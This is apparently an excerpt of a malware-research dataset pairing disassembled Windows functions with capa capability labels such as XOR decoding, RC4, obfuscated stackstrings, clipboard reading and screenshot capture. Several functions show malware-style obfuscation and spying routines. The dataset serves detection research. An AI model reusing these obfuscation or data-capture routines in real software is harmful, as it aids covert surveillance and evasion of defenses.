joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x40520c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405245
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40524e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405258
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405279
mov al, byte [esp]
jmp 0x40527b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4056d8
Capabilities:
Encode data using xor

Disassembly:
je 0x4056c9
call fcn.00403154
mov eax, dword [eax]
mov eax, dword [eax + 8]
ret
xor edi, dword [ebx + 0x36018a87]
mov edx, 0x7818d4c6
xor edx, ebx
push 0x5a23555e
push ebp
and ebx, dword [edx - 0x41]
ja 0x4056b8
jp 0x4056f4
push ebp
and ebx, dword [edx - 0x41]
ja 0x4056b8
jp 0x4056f4
pop esi
xor edi, esi
xor edi, edx
push edi
pop ebx
sub ebx, 0x53
mov eax, dword [ebx + 0x53]
mov ebx, 0
mov edi, 0
xor ebx, edi
add byte [eax], al
add byte [ecx], dh
sti
push ebx
mov esi, 0
xor esi, esp
mov ecx, esi
push ecx
mov ebx, 0x40
mov ecx, 0
xor ebx, ecx
push ebx
mov esi, 0x9d4b
add esi, 0xb5
push esi
mov esi, 0x400fc7
add esi, 0x39
push esi
call eax
pop esi
push 0xb300e0a
mov ebx, 0x485db1ba
pop edi
xor ebx, edi
mov edx, 0x436dbc91
xor ebx, edx
mov edx, 0x4065c316
mov ecx, 0x33b9c22a
xor ecx, edx
mov edi, 0x12651fda
xor ecx, edi
xor ecx, 0x61f92774
push 0x5068ad6c
mov edx, 0x4c937d90
pop eax
xor edx, eax
push edx
mov edx, 0x139a8b4e
mov esi, 0xf211bbc
xor esi, edx
pop edi
xor esi, edi
mov eax, ebx
mov edx, 4
sub esp, edx
mov dword [esp], eax
mov edi, 0xfffffffc
add esp, edi
mov eax, 0
xor eax, esp
mov dword [eax], esi
xor ebx, ebx
mov bl, byte [ecx]
add esi, ebx
mov bl, byte [esi]
mov edi, 0x4c469a78
xor edi, 0xdc4b2d9c
push edi
mov edi, 0x554986ee
mov edx, 0x7055f14d
xor edx, edi
pop eax
xor edx, eax
xor edi, edi
add edi, esi
or edi, edi
je 0x405776
pop esi
mov byte [ecx], bl
mov edi, 0
mov eax, 1
xor edi, eax
sub ecx, edi
pop ebx
push 0x6375d056
mov eax, 0x6375d057
pop edx
xor eax, edx
sub ebx, eax
mov edi, 0
xor edi, ebx
mov edx, 0
xor edx, edi
add edx, 0
jne 0x405776
mov ebx, 0x72eb2bd2
xor ebx, 0x6b50a7b6
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x19fbba16
and ebx, 0xe60445e9
or ebx, eax
call ebx
pop esi
pop esi
ret
Function at 0x4026a0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
xor eax, eax
test ecx, ecx
je 0x402703
test edx, edx
je 0x402703
mov ebp, dword [esp + 0x28]
test ebp, ebp
mov dword [esp], ecx
mov esi, 0x1505
je 0x4026ed
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edx + eax]
test ecx, ecx
je 0x4026ed
mov ebx, esi
shl ebx, 5
mov edi, ebx
xor edi, esi
and ebx, esi
add edi, ecx
lea esi, [edi + ebx*2]
inc eax
cmp ebp, eax
jne 0x4026d0
mov dword [esp + 8], edx
mov ecx, dword [esp]
mov ebp, dword [ecx + 0x20]
lea ebx, [ebp - 1]
mov edx, ebp
sub edx, 1
jae 0x40270b
xor eax, eax
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
and ebx, esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 4], edx
jmp 0x402724
inc ebx
dec ebp
je 0x402701
mov eax, ebx
and eax, edx
mov edi, dword [esp + 0x10]
mov edi, dword [edi + eax*4]
cmp edi, 0xffffffff
je 0x402701
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x402720
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 0xc], eax
push eax
call fcn.00408e90
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x402720
push dword [esp + 0x28]
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.00408eb0
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
add esp, 0xc
test eax, eax
jne 0x402720
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x402703
Function at 0x403550
Capabilities:
Compute adler32 checksum
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x4036e6
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x4036df
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, esi
sub edx, eax
jmp 0x4035e0
add ebp, dword [esp]
mov esi, dword [esp + 4]
mov eax, ecx
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, edi
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub ecx, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub edi, eax
sub esi, dword [esp + 8]
mov edx, 0x15b0
je 0x4036df
xor eax, eax
cmp edx, 8
mov dword [esp + 4], esi
jb 0x403668
mov eax, edx
and eax, 0x1ff8
mov dword [esp], eax
xor esi, esi
nop
nop
nop
nop
nop
mov eax, edx
mov edx, esi
movzx esi, byte [ebp + esi]
add esi, edi
add ecx, esi
movzx edi, byte [ebp + edx + 1]
add edi, esi
add ecx, edi
movzx esi, byte [ebp + edx + 2]
add esi, edi
add ecx, esi
movzx edi, byte [ebp + edx + 3]
add edi, esi
add ecx, edi
movzx esi, byte [ebp + edx + 4]
add esi, edi
add ecx, esi
movzx edi, byte [ebp + edx + 5]
add edi, esi
add ecx, edi
movzx esi, byte [ebp + edx + 6]
add esi, edi
mov ebx, ecx
and ebx, esi
xor ecx, esi
movzx edi, byte [ebp + edx + 7]
add edi, esi
add ecx, edi
lea ecx, [ecx + ebx*2]
lea esi, [edx + 8]
add edx, 0xf
cmp edx, eax
mov edx, eax
jb 0x403600
add ebp, esi
mov esi, dword [esp + 4]
mov eax, dword [esp]
mov ebx, edx
sub ebx, eax
mov dword [esp + 8], edx
jbe 0x4035a7
mov esi, eax
not esi
add esi, edx
mov dword [esp + 0xc], esi
mov esi, edx
and esi, 3
mov dword [esp], ebx
mov ebx, ebp
je 0x40369c
nop
nop
nop
nop
movzx edx, byte [ebx]
add edi, edx
inc ebx
add ecx, edi
inc eax
dec esi
jne 0x403690
cmp dword [esp + 0xc], 3
jb 0x4035a0
mov edx, dword [esp + 8]
sub edx, eax
xor eax, eax
nop
movzx esi, byte [ebx + eax]
add esi, edi
add ecx, esi
movzx edi, byte [ebx + eax + 1]
add edi, esi
add ecx, edi
movzx esi, byte [ebx + eax + 2]
add esi, edi
add ecx, esi
movzx edi, byte [ebx + eax + 3]
add edi, esi
add ecx, edi
add eax, 4
cmp edx, eax
jne 0x4036b0
jmp 0x4035a0
shl ecx, 0x10
or ecx, edi
jmp 0x4036eb
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x403700
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x403759
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
test edx, edx
je 0x40375b
not eax
xor esi, esi
nop
nop
nop
nop
nop
movzx edi, byte [ecx + esi]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x43ba18]
mov eax, ebx
shr eax, 4
not ebx
or ebx, 0x3ffffff0
shr edi, 4
xor edi, ebx
not edi
xor eax, dword [edi*4 + 0x43ba18]
inc esi
cmp edx, esi
jne 0x403720
not eax
jmp 0x40375b
xor eax, eax
pop esi
pop edi
pop ebx
ret
Function at 0x409460
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.004094f0
sub esp, 0x100
mov esi, esp
call fcn.00435860
test al, 1
jne 0x40947c
jmp 0x4094bc
call fcn.00430c10
test al, 1
jne 0x409487
jmp 0x4094b5
call fcn.0040a7e0
jmp 0x40948e
test al, 1
jne 0x409494
jmp 0x4094b3
lea eax, str.system_or_character_via_spellings_glyphs_a_is_uses_that_in_their_modified_other_on_often_reflection_or_resemblance_on_it_leetspeak__used_similarity_internet._play_eleet_the_of_the_replacements_of_primarily_ways
sub esp, 8
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.004094d0
add esp, 8
call fcn.0040fe20
jmp 0x4094b3
jmp 0x4094b5
call fcn.00436120
jmp 0x4094bc
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x409550
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov dword [esp], ecx
mov edi, dword [esp + 0x220]
movzx ecx, word [edi]
test cx, cx
je 0x409686
lea eax, [edi + 2]
xor ebx, ebx
jmp 0x40958d
add ebx, esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x4095b1
movzx ebp, cx
xor ecx, ecx
cmp ebp, 0x800
setb dl
mov esi, 1
cmp ebp, 0x80
jb 0x409580
mov cl, dl
xor ecx, 3
mov esi, ecx
jmp 0x409580
lea esi, [ebx + 1]
push esi
call fcn.00408d80
add esp, 4
mov ebp, eax
test ebx, ebx
jle 0x409694
add ebx, ebp
add esi, ebp
mov eax, ebp
mov dword [esp + 8], esi
jmp 0x4095f8
mov byte [eax], dl
mov esi, 1
add edi, 2
add eax, esi
cmp eax, ebx
mov esi, dword [esp + 8]
jae 0x409696
movzx edx, word [edi]
test dx, dx
je 0x409696
cmp dx, 0x7f
jbe 0x4095e0
mov ecx, eax
not ecx
add ecx, esi
movzx esi, dx
mov dword [esp + 4], esi
cmp esi, 0x7ff
ja 0x409650
cmp ecx, 2
jb 0x409650
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
mov ecx, edx
not ecx
or ecx, 0x3f
add ecx, edx
add cl, 0x81
mov byte [eax + 1], cl
mov esi, 2
jmp 0x4095e7
xor esi, esi
cmp ecx, 3
jb 0x4095e7
mov esi, dword [esp + 4]
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov esi, 3
jmp 0x4095e7
push 1
call fcn.00408d80
add esp, 4
mov ebp, eax
jmp 0x409696
mov eax, ebp
mov edi, dword [esp + 0x228]
mov edx, dword [esp + 0x224]
mov byte [eax], 0
xor ecx, ecx
jmp 0x4096b7
mov ebx, eax
mov byte [esp + ecx + 0xc], bl
inc ecx
movzx eax, byte [ebp + ecx]
mov bl, 0x2f
cmp eax, 0x5c
je 0x4096b2
test eax, eax
jne 0x4096b0
mov byte [esp + ecx + 0xc], 0
lea eax, [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push edi
push edx
push eax
push ecx
call fcn.00405890
add esp, 0x28
test eax, eax
setne al
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x4153c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xd8
mov eax, dword [ebp + 0xc]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x4153e0
sar esi, 1
lea edi, [esp + 0x80]
push edi
push 0
push 0
push esi
push eax
push 0
call dword [0x447260]
mov ebx, dword [esp + 0x80]
test ebx, ebx
jns 0x415415
mov eax, 0xffffffff
jmp 0x415418
lea eax, [ebx + ebx]
push eax
call fcn.00408d80
add esp, 4
push edi
push ebx
mov ebx, eax
push eax
push esi
push dword [ebp + 0xc]
push 0
call dword [0x447260]
mov dword [esp + 0x10], 0x6bde6dc8
mov dword [esp + 0x14], 0x67e969c9
mov dword [esp + 0x18], 0x630265e8
mov dword [esp + 0x1c], 0x5fc361ca
mov dword [esp + 0x20], 0x5bd55dd2
mov dword [esp + 0x24], 0x57c559c1
mov dword [esp + 0x28], 0x535255c6
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
mov word [esp + 0x30], 0
mov dword [esp + 0xb8], 0
mov ecx, dword [esp + 0xb8]
cmp ecx, 0x21
ja 0x415506
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp + 0xb8]
mov ecx, dword [esp + 0xb8]
movzx edi, byte [esp + ecx + 0x10]
lea ecx, [esi - 0x7c9bcae]
lea edx, [esi + edi]
add edx, 0xf8364352
add esi, 0x52
and esi, edi
and ecx, edi
add ecx, esi
mov esi, edx
not esi
and esi, ecx
not ecx
and ecx, edx
sub ecx, esi
mov dword [esp + 0x90], ecx
mov ecx, dword [esp + 0x90]
add cl, 0xc2
mov edx, dword [esp + 0xb8]
mov byte [esp + edx + 0x10], cl
inc dword [esp + 0xb8]
mov ecx, dword [esp + 0xb8]
cmp ecx, 0x22
jb 0x4154a0
lea edi, [esp + 0xb8]
lea edx, [esp + 0x10]
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xd4]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, dword [esp + 0x80]
mov ecx, eax
add ecx, 0xd
jns 0x41553f
mov eax, 0xffffffff
jmp 0x415544
add eax, eax
add eax, 0x1a
push eax
call fcn.00408d80
add esp, 4
movzx ecx, word [ebx]
mov esi, eax
test cx, cx
je 0x415571
lea edx, [ebx + 2]
mov esi, eax
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x415560
mov word [esi], 0
movzx ecx, word [esp + 0xb8]
test cx, cx
je 0x4155a1
lea edx, [esp + 0xba]
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x415590
mov word [esi], 0
lea ecx, [esp + 0x4c]
push 0x60
push 3
push 0x120089
push ecx
mov dword [esp + 0x1c], eax
push eax
call fcn.00438c30
add esp, 0x14
not eax
shr eax, 0x1f
mov eax, dword [eax*4 + 0x440910]
mov ecx, 0x9eb32af9
xor ecx, dword [0x440918]
add eax, ecx
inc eax
mov dword [esp + 0x68], ebx
jmp eax
Function at 0x41a1f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov dword [esp + 8], 0x53e551f2
mov dword [esp + 0xc], 0x5fe75dfd
mov dword [esp + 0x10], 0x5b2e5922
mov dword [esp + 0x14], 0xa706a5f6
lea eax, [esp + 0x18]
mov word [esp + 0x18], 0xa1a6
mov dword [esp + 0x1e], 0
mov dword [esp + 0x1a], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0x19
ja 0x41a29c
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 8]
lea esi, [ecx + edx]
add esi, 0x83a384f3
add ecx, 0xf3
and ecx, edx
add ecx, ecx
mov edx, ecx
xor edx, esi
not ecx
and ecx, esi
add ecx, ecx
sub ecx, edx
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x28]
add cl, 0x5b
mov edx, dword [esp + 4]
mov byte [esp + edx + 8], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0x1a
jb 0x41a250
mov ebx, dword [ebp + 8]
lea edi, [esp + 0x28]
lea esi, [esp + 8]
mov edx, esi
mov ecx, 4
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x38]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x41a2d0
mov edi, esi
cmp eax, 0xffffffed
jge 0x41a2e9
mov eax, 0xffffffff
jmp 0x41a2ec
add eax, 0x12
push eax
call fcn.00408d80
add esp, 4
mov esi, eax
movzx ecx, word [ebx]
test cx, cx
je 0x41a321
add ebx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x41a310
mov word [eax], 0
movzx ecx, word [esp + 0x28]
test cx, cx
je 0x41a351
lea edx, [esp + 0x2a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41a340
mov word [eax], 0
push edi
push esi
call fcn.00438df0
add esp, 8
not eax
shr eax, 0x1f
mov eax, dword [eax*4 + 0x4412f4]
mov ecx, 0x13cefbd
xor ecx, dword [0x4412fc]
add eax, ecx
inc eax
jmp eax
Function at 0x41d9a7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov dword [esp + 0x10], 0x1b5b1945
mov dword [esp + 0x14], 0x17861584
mov dword [esp + 0x18], 0x1373116c
mov dword [esp + 0x1c], 0xf6f0d80
mov dword [esp + 0x20], 0xb6e0955
mov dword [esp + 0x24], 0x79e0568
mov dword [esp + 0x28], 0x394018d
mov dword [esp + 0x2c], 0x3fa33da0
mov dword [esp + 0x30], 0x3b5839aa
mov dword [esp + 0x34], 0x37a435ad
mov dword [esp + 0x38], 0x335631ac
mov dword [esp + 0x3c], 0x2fbc2d5c
mov dword [esp + 0x40], 0x2bb429bf
mov dword [esp + 0x44], 0x27b225bd
mov dword [esp + 0x48], 0x23b121bd
lea eax, [esp + 0x4c]
mov word [esp + 0x4c], 0x5d5c
mov dword [esp + 0x4e], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0x41
ja 0x41d981
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x10]
lea esi, [ecx + 0x163d6804]
and esi, edx
add ecx, edx
add ecx, 0x163d6804
add esi, esi
sub ecx, esi
mov dword [esp + 0x5c], ecx
mov ecx, dword [esp + 0x5c]
add cl, 0xe4
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x10], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0x42
jb 0x41d940
lea esi, [esp + 0x5c]
lea edx, [esp + 0x10]
mov ecx, 0xf
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x98]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x447260]
mov ebx, dword [esp + 0xc]
test ebx, ebx
jns 0x41d9ca
mov eax, 0xffffffff
jmp 0x41d9cd
lea eax, [ebx + ebx]
push eax
call fcn.00408d80
add esp, 4
mov edi, eax
lea eax, [esp + 0xc]
push eax
push ebx
push edi
push 0x1e
push esi
push 0
call dword [0x447260]
mov dword [esp + 0x10], 0x4b224d10
mov dword [esp + 0x14], 0x57244935
mov dword [esp + 0x18], 0x533f5538
mov dword [esp + 0x1c], 0x5f30512e
mov dword [esp + 0x20], 0x5b245d35
mov dword [esp + 0x24], 0x67665934
mov word [esp + 0x28], 0
mov byte [esp + 0x2a], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x1a
ja 0x41da80
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x10]
lea edx, [eax + ecx]
add edx, 0x8ba4a6ca
add eax, 0x8ba4a6ca
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 4], edx
mov eax, dword [esp + 4]
add al, 0x7a
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x10], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x1b
jb 0x41da40
push 0
push 0
lea eax, [esp + 0x18]
push eax
push edi
push dword [ebp + 8]
call fcn.004182b0
add esp, 0x14
mov ebx, eax
jmp dword [0x441d24]
Function at 0x41dab0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x2208
call fcn.00408d50
mov dword [esp + 0x1200], 0xbf205fa
mov dword [esp + 0x1204], 0xfc109c1
mov dword [esp + 0x1208], 0x33f90dc1
mov dword [esp + 0x120c], 0x37c631c6
mov dword [esp + 0x1210], 0x3bc835c9
mov dword [esp + 0x1214], 0x3fcd39c1
mov dword [esp + 0x1218], 0x23ca3df5
mov word [esp + 0x121c], 0x2122
mov dword [esp + 0x121e], 0
mov dword [esp + 0x1222], 0
mov byte [esp + 0x1226], 0
mov dword [esp + 0xa90], 0
mov eax, dword [esp + 0xa90]
cmp eax, 0x26
ja 0x41dbca
nop
mov edx, dword [esp + 0xa90]
mov eax, dword [esp + 0xa90]
movzx esi, byte [esp + eax + 0x1200]
lea eax, [edx - 0x69282dab]
lea ecx, [edx + esi]
add ecx, 0x96d7d255
add edx, 0x55
and edx, esi
and eax, esi
add eax, edx
mov edx, eax
xor edx, ecx
not eax
and eax, ecx
add eax, eax
sub eax, edx
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x90]
mov ecx, eax
or ecx, 0xac
and eax, 0xac
add eax, ecx
inc al
mov ecx, dword [esp + 0xa90]
mov byte [esp + ecx + 0x1200], al
inc dword [esp + 0xa90]
mov eax, dword [esp + 0xa90]
cmp eax, 0x27
jb 0x41db50
lea eax, [esp + 0x24]
lea esi, [esp + 0x1200]
push 0
push 0
push 0x20019
push eax
push esi
call fcn.00439450
add esp, 0x14
shr eax, 0x1f
mov eax, dword [eax*4 + 0x441d2c]
mov ecx, 0x9374b534
xor ecx, dword [0x441d34]
add eax, ecx
inc eax
xor ebx, ebx
jmp eax
Function at 0x421350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x120
lea edi, [esp + 0x8e]
xor ebx, ebx
mov eax, 0x20219
mov ecx, 1
jmp dword [ecx*4 + 0x442908]
Function at 0x42e080
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov eax, dword [ebp + 8]
mov dword [esp + 0x40], eax
mov byte [esp + 0xf], 0
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
cmp eax, 0
setne al
jmp 0x42e0b2
jmp 0x42e0b4
test al, 1
jne 0x42e0bd
jmp 0x42e239
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 8
jmp 0x42e0d9
mov dword [esp + 0x48], eax
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
sub esp, 4
mov dword [esp + 0x18], eax
jmp 0x42e0f3
cmp dword [esp + 0x18], 0
setne al
test al, 1
jne 0x42e104
jmp 0x42e22d
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00408e90
mov dword [esp + 0x38], eax
cmp dword [esp + 0x38], 0
je 0x42e219
call fcn.004094f0
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x3c]
mov bl, byte [esp + 0x14]
mov byte [esp + 0x1c], bl
mov byte [esp + 0x20], 0x23
mov byte [esp + 0x21], 0xc5
mov byte [esp + 0x22], 0xc3
mov byte [esp + 0x23], 0xcb
mov byte [esp + 0x24], 0xd8
mov byte [esp + 0x25], 0xcc
mov byte [esp + 0x26], 0xdf
mov byte [esp + 0x27], 0xcd
mov byte [esp + 0x28], 0xda
mov byte [esp + 0x29], 0xf
mov byte [esp + 0x2a], 0xc4
mov byte [esp + 0x2b], 0xfb
mov byte [esp + 0x2c], 0xc6
mov byte [esp + 0x2d], 0x75
mov dword [esp + 0x2e], 0
mov dword [esp + 0x10], 0
mov esi, dword [esp + 0x10]
cmp esi, 0x12
jae 0x42e1f6
jmp 0x42e1ad
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x10]
movzx edi, byte [esp + edi + 0x20]
mov ebx, esi
add ebx, 0x3452c14f
lea esi, [esi + edi + 0x3452c14f]
and ebx, edi
add ebx, ebx
sub esi, ebx
mov dword [esp + 0x44], esi
mov ebx, dword [esp + 0x44]
add bl, 0xd7
mov esi, dword [esp + 0x10]
mov byte [esp + esi + 0x20], bl
mov esi, dword [esp + 0x10]
inc esi
mov dword [esp + 0x10], esi
mov esi, dword [esp + 0x10]
cmp esi, 0x12
jb 0x42e1ad
jmp 0x42e1f6
lea esi, [esp + 0x20]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call fcn.00409710
sub esp, 0xc
jmp 0x42e20f
and al, 1
mov byte [esp + 0xf], al
jmp 0x42e217
jmp 0x42e219
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
jmp 0x42e22b
jmp 0x42e22d
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42e235
jmp 0x42e237
jmp 0x42e239
mov al, byte [esp + 0xf]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x42e250
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x60
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov ebx, eax
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x4c
call esi
mov dword [esp + 0x1c], eax
push 0x4d
call esi
mov dword [esp + 0x18], eax
push 7
push ebx
call dword [sym.imp.GDI32.dll_GetCurrentObject]
mov esi, eax
lea eax, [esp + 0x44]
push eax
push 0x18
push esi
call dword [sym.imp.GDI32.dll_GetObjectW]
mov eax, dword [esp + 0x48]
mov dword [esp + 8], eax
mov edi, dword [esp + 0x4c]
mov dword [esp + 0x14], edi
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
push edi
push dword [esp + 0xc]
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0xc], eax
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov edi, eax
push 0xcc0020
push dword [esp + 0x1c]
push dword [esp + 0x24]
push ebx
push dword [esp + 0x24]
push dword [esp + 0x1c]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push edi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push ebx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, 0x57db6776
xor ebx, ebx
xor eax, eax
cmp ecx, 0x3fd1aa11
setl al
mov eax, dword [eax*4 + 0x443ffc]
mov edx, 0xaed39bca
xor edx, dword [0x444004]
add eax, edx
inc eax
jmp eax